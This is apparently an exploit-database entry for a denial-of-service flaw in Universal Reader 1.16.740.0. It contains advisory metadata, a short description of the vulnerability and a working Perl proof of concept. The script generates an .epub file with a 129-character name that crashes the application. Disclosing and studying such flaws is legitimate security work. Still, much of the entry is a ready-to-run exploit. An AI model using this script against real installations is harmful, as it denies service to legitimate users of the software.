Universal Reader 1.16.740.0 - 'uread.exe' Denial of Service

Author: demonalex
type: dos
platform: windows
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date_added: 2012-05-14 
date_updated: 2015-06-01 
verified: 1 
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source: https://www.securityfocus.com/bid/53508/info

Universal Reader is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Universal Reader 1.16.740.0 is vulnerable; other versions may also be affected.

#!/usr/bin/perl -w
$filename="a"x129;
print "------Generate testfile \"a\"x129.epub------\n";
open(TESTFILE, ">$filename.epub");
sleep(3);
close(TESTFILE);
print "------Complete!------\n";
exit(1);